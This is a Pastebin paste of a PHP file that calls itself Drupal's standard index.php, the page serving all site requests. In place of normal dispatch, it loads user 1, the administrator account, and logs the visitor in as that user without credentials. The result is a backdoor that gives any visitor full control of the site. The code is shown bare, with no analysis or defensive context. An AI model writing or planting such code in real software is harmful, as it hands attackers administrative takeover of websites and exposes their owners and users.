Advertisement
Guest User

Untitled

a guest
Feb 7th, 2016
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * @file
  5. * The PHP page that serves all page requests on a Drupal installation.
  6. *
  7. * The routines here dispatch control to the appropriate handler, which then
  8. * prints the appropriate page.
  9. *
  10. * All Drupal code is released under the GNU General Public License.
  11. * See COPYRIGHT.txt and LICENSE.txt.
  12. */
  13.  
  14. /**
  15. * Root directory of Drupal installation.
  16. */
  17. define('DRUPAL_ROOT', getcwd());
  18.  
  19. require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
  20. drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
  21.  
  22. global $user;
  23. $user = user_load(1);
  24. user_login_finalize();
  25. drupal_goto('<front>');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement